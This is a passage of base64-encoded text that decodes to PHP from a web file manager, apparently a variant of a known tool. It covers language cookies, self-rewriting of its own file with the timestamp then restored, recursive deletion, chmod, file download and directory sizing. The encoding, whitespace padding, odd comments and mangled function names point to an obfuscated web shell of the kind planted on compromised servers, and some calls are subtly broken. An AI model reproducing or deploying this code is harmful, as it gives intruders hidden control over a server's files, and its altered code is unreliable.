CB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aF9nb3duWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KCSAgICAgJF9DT09LSUVbJ2ZtX2xhbmcnXSA9ICRfUE9TVFsnZm1fbGFuZyddOw0KDQp9DQoNCg0KDQoNCg0KJGxhbmd1YWdlID0gJGRlZmF1bHRfbGFuZ3VhZ2U7DQoNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCi8vIERldGVjdCBicm93c2VyIGxhbmd1YWdlDQoNCmlmKCRkZXRlY3RfbGFuZyAmJiAhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pICYmIGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkbGFuZ19wcmlvcml0eSA9IGV4cGxvZGUoJywnLCAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmICghZW1wdHkoJGxhbmdfcHJpb3JpdHkpKXsNCg0KCSAgICAgCSAgICAgZm9yZWFjaCAoJGxhbmdfcHJpb3JpdHkgYXMgJGxhbmdfYXJyKXsNCg0KCSAgICAgCSAgICAgCSAgICAgJGxuZyA9IGV4cGxvZGUoJzsnLCAkbGFuZ19hcnIpOw0KCSAgICAgCSAgICAgCSAgICAgJGxuZyA9ICRsbmdbMF07DQoJICAgICAJICAgICAJICAgICBpZihpbl9hcnJheSgkbG5nLCRsYW5ncykpew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAkbGFuZ3VhZ2UgPSAkbG5nOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICBicmVhazsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICB9DQoJICAgICB9DQoNCn0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KLy8gQ29va2llIGxhbmd1YWdlIGlzIHByaW1hcnkgZm9yIGV2ZXINCg0KJGxhbmd1YWdlID0gKGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKSA/ICRsYW5ndWFnZSA6ICRfQ09PS0lFWydmbV9sYW5nJ107DQoNCg0KDQovLyBMb2NhbGl6YXRpb24NCiRsYW5nID0ganNvbl9kZWNvZGUoJHRyYW5zbGF0aW9uLHRydWUpOw0KDQppZiAoJGxhbmdbJ2lkJ10hPSRsYW5ndWFnZSkgew0KDQoJICAgICAkZ2V0X2xhbmcgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIvbWFzdGVyL2xhbmd1YWdlcy8nIC4gJGxhbmd1YWdlIC4gJy5qc29uJyk7DQoNCgkgICAgIGlmICghZW1wdHkoJGdldF9sYW5nKSkgew0KCSAgICAgCSAgICAgLy9yZW1vdmUgdW5uZWNlc3NhcnkgY2hhcmFjdGVycw0KDQoJICAgICAJICAgICAkdHJhbnNsYXRpb25fc3RyaW5nID0gc3RyX3JlcGxhY2UoIiciLCcmIzM5OycsanNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJGdldF9sYW5nKSxKU09OX1VORVNDQVBFRF9VTklDT0RFKSk7DQoJICAgICAJICAgICAkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOw0KDQoJICAgICAJICAgICAkc2VhcmNoID0gcHJlZ19tYXRjaCgnI3RyYW5zbGF0aW9uW1xzXT9cPVtcc10 ce1wiKC4qPylcIlx9XCc7IycsICRmZ2MsICRtYXRjaGVzKTsNCg0KCSAgICAgCSAgICAgaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCR0cmFuc2xhdGlvbl9zdHJpbmcsJGZnYyk7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7DQoJICAgICAJICAgICAJICAgICAJICAgICAkbXNnX2hlYWRlcnMgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KCSAgICAgCSAgICAgCSAgICAgfQkgICAgIGVsc2UgJG1zZ19oZWFkZXJzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgfQkgICAgIA0KDQoJICAgICAJICAgICAkbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbl9zdHJpbmcsdHJ1ZSk7DQoJICAgICB9DQoNCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLyogRnVuY3Rpb25zICovDQoNCi8vdHJhbnNsYXRpb24NCg0KZnVuY3Rpb24gX18oJHRleHQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZ2xvYmFsICRsYW5nOw0KCSAgICAgaWYgKGlzc2V0KCRsYW5nWyR0ZXh0XSkpIHJldHVybiAkbGFuZ1skdGV4dF07DQoJICAgICBlbHNlIHJldHVybiAkdGV4dDsNCg0KfTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KLy9kZWxldGUgZmlsZUFycmF5IGFuZCBkaXJzIHJlY3Vyc2l2ZWx5DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmZ1bmN0aW9uIGZtX2RlbF9maWxlQXJyYXkoJGZpbGVfZ2V0LCAkcmVjdXJzaXZlID0gZmFsc2UpIHsNCgkgICAgIGlmKCRyZWN1cnNpdmUgJiYgQGlzX2RpcigkZmlsZV9nZXQpKSB7DQoNCgkgICAgIAkgICAgICRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZV9nZXQsICcnLCAnJywgdHJ1ZSk7DQoNCgkgICAgIAkgICAgIGZvcmVhY2ggKCRlbHMgYXMgJGVsKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmKCRlbCAhPSAnLicgJiYgJGVsICE9ICcuLicpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBmbV9kZWxfZmlsZUFycmF5KCRmaWxlX2dldCAuICcvJyAuICRlbCwgdHJ1ZSk7DQoJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgaWYoQGlzX2RpcigkZmlsZV9nZXQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIHJldHVybiBybWRpcigkZmlsZV9nZXQpOw0KDQoJICAgICB9IGVsc2Ugew0KDQoJICAgICAJICAgICByZXR1cm4gQHVubGluaygkZmlsZV9nZXQpOw0KDQoJICAgICB9DQp9DQoNCg0KLy9maWxlIHBlcm1zDQoNCmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGVfZ2V0LCAkaWYgPSBmYWxzZSl7DQoJICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGVfZ2V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRpbmZvID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZighJGlmKXsNCgkgICAgIAkgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgLy9Tb2NrZXQNCg0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAncyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsNCgkgICAgIAkgICAgIAkgICAgIC8vU3ltYm9saWMgTGluaw0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAnbCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAvL1JlZ3VsYXINCg0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAnLSc7DQoNCgkgICAgIAkgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsNCgkgICAgIAkgICAgIAkgICAgIC8vQmxvY2sgc3BlY2lhbA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkaW5mbyA9ICdiJzsNCg0KCSAgICAgCSAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgew0KCSAgICAgCSAgICAgCSAgICAgLy9EaXJlY3RvcnkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAnZCc7DQoJICAgICAJICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIC8vQ2hhcmFjdGVyIHNwZWNpYWwNCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJ2MnOw0KCSAgICAgCSAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KCSAgICAgCSAgICAgCSAgICAgLy9GSUZPIHBpcGUNCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJ3AnOw0KCSAgICAgCSAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAvL1Vua25vd24NCg0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAndSc7DQoJICAgICAJICAgICB9DQoJICAgICB9DQoNCiAgDQoNCgkgICAgIC8vIG5lLCB3YXRjaGluZyBvdmVyIHlvdXIgc3lzdGVtIGxpa2UgYSB2aWdpbGFudCBndWFyZGlhbg0KDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQoNCgkgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCg0KCSAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQogDQoNCgkgICAgIC8vIHNvdSBkZXN1LCBsaWtlIGNoZWNraW5nIHlvdXIgY2xvY2sgYmVmb3JlIHlvdSBzdGFydCB5b3VyIG5leHQgYmlnIHByb2plY3Tvv73vv710aW1lIGZsaWVzIHdoZW4geW9177+977+9cmUgd29ya2luZyBvbiBmaWxlcyENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KDQoJICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQoJICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KIA0KDQoJICAgICAvL1dvcmxkDQoNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQoNCgkgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoNCg0KDQoJICAgICByZXR1cm4gJGluZm87DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQpmdW5jdGlvbiBmbV9jb252ZXJ0X3JpZ2h0cygkbW9kZSkgew0KDQoJICAgICAkbW9kZSA9IHN0cl9wYWQoJG1vZGUsOSwnLScpOw0KDQoJICAgICAkdHJhbnMgPSBhcnJheSgnLSc9PicwJywncic9Pic0Jywndyc9PicyJywneCc9PicxJyk7DQoNCgkgICAgICRtb2RlID0gc3RydHIoJG1vZGUsJHRyYW5zKTsNCgkgICAgICRuZXdtb2RlID0gJzAnOw0KDQoJICAgICAkb3duZXIgPSAoaW50KSAkbW9kZVswXSArIChpbnQpICRtb2RlWzFdICsgKGludCkgJG1vZGVbMl07IA0KDQoJICAgICAkZ3JvdXAgPSAoaW50KSAkbW9kZVszXSArIChpbnQpICRtb2RlWzRdICsgKGludCkgJG1vZGVbNV07IA0KDQoJICAgICAkd29ybGQgPSAoaW50KSAkbW9kZVs2XSArIChpbnQpICRtb2RlWzddICsgKGludCkgJG1vZGVbOF07IA0KDQoJICAgICAkbmV3bW9kZSAuPSAkb3duZXIgLiAkZ3JvdXAgLiAkd29ybGQ7DQoJICAgICByZXR1cm4gaW50dmFsKCRuZXdtb2RlLCA4KTsNCg0KfQ0KDQoNCmZ1bmN0aW9uIGZtX2NobW9kKCRmaWxlX2dldCwgJHZhbCwgJHJlYyA9IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkcmVzID0gQGNobW9kKHJlYWxwYXRoKCRmaWxlX2dldCksICR2YWwpOw0KDQoJICAgICBpZihAaXNfZGlyKCRmaWxlX2dldCkgJiYgJHJlYyl7DQoNCgkgICAgIAkgICAgICRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZV9nZXQpOw0KDQoJICAgICAJICAgICBmb3JlYWNoICgkZWxzIGFzICRlbCkgew0KDQoJICAgICAJICAgICAJICAgICAkcmVzID0gJHJlcyAmJiBmbV9jaG1vZCgkZmlsZV9nZXQgLiAnLycgLiAkZWwsICR2YWwsIHRydWUpOw0KDQoJICAgICAJICAgICB9DQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcmV0dXJuICRyZXM7DQoNCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLy9sb2FkIGZpbGVBcnJheQ0KDQpmdW5jdGlvbiBmbV9kb3dubG9hZCgkYXJjaGl2ZUVudHJ5TmFtZSkgew0KDQogICAgaWYgKCFlbXB0eSgkYXJjaGl2ZUVudHJ5TmFtZSkpIHsNCgkgICAgIAkgICAgIGlmIChmaWxlX2V4aXN0cygkYXJjaGl2ZUVudHJ5TmFtZSkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gYmFzZW5hbWUoJGFyY2hpdmVFbnRyeU5hbWUpKTsgICANCgkgICAgIAkgICAgIAkgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9mb3JjZS1kb3dubG9hZCIpOw0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KDQoJICAgICAJICAgICAJICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCg0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyIik7ICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVBcnJheWl6ZSgkYXJjaGl2ZUVudHJ5TmFtZSkpOwkgICAgIAkgICAgIA0KDQoJICAgICAJICAgICAJICAgICBmbHVzaCgpOyAvLyB0aGlzIGRvZXNuJ3QgcmVhbGx5IG1hdHRlci4NCg0KCSAgICAgCSAgICAgCSAgICAgJGZwID0gZm9wZW4oJGFyY2hpdmVFbnRyeU5hbWUsICJyIik7DQoJICAgICAJICAgICAJICAgICB3aGlsZSAoIWZlb2YoJGZwKSkgew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZWNobyBmcmVhZCgkZnAsIDY1NTM2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBmbHVzaCgpOyAvLyB0aGlzIGlzIGVzc2VudGlhbCBmb3IgbGFyZ2UgZG93bmxvYWRzDQoNCgkgICAgIAkgICAgIAkgICAgIH0gDQoNCgkgICAgIAkgICAgIAkgICAgIGZjbG9zZSgkZnApOw0KDQoJICAgICAJICAgICAJICAgICBkaWUoKTsNCgkgICAgIAkgICAgIH0gZWxzZSB7DQoJICAgICAJICAgICAJICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnLCB0cnVlLCA0MDQpOw0KDQoJICAgICAJICAgICAJICAgICBoZWFkZXIoJ1N0YXR1czogNDA0IE5vdCBGb3VuZCcpOyANCg0KCSAgICAgCSAgICAgCSAgICAgZGllKCk7DQogICAgICAgIH0NCiAgICB9IA0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQovL3Nob3cgZm9sZGVyIHNpemUNCmZ1bmN0aW9uIGZtX2Rpcl9zaXplKCRmLCRmb3JtYXQ9dHJ1ZSkgew0KCSAgICAgaWYoJGZvcm1hdCkgIHsNCgkgICAgIAkgICAgICRzaXplPWZtX2Rpcl9zaXplKCRmLGZhbHNlKTsNCg0KCSAgICAgCSAgICAgaWYoJHNpemU8PTEwMjQpIHJldHVybiAkc2l6ZS4nIGJ5dGVzJzsNCg0KCSAgICAgCSAgICAgZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCksMikuJyZuYnNwO0tiJzsNCg0KCSAgICAgCSAgICAgZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQpLDIpLicmbmJzcDtNYic7DQoJICAgICAJICAgICBlbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtHYic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO1RiJzsgLy86KSkpDQoNCgkgICAgIAkgICAgIGVsc2UgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtQYic7IC8vIDstKQ0KCSAgICAgfSBlbHNlIHsNCgkgICAgIAkgICAgIGlmKGlzX2ZpbGUoJGYpKSByZXR1cm4gZmlsZUFycmF5aXplKCRmKTsNCgkgICAgIAkgICAgICRzaXplPTA7DQoNCgkgICAgIAkgICAgICRkaD1vcGVuZGlyKCRmKTsNCg0KCSAgICAgCSAgICAgd2hpbGUoKCRmaWxlX2dldD1yZWFkZGlyKCRkaCkpIT09ZmFsc2UpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYoJGZpbGVfZ2V0PT0nLicgfHwgJGZpbGVfZ2V0PT0nLi4nKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI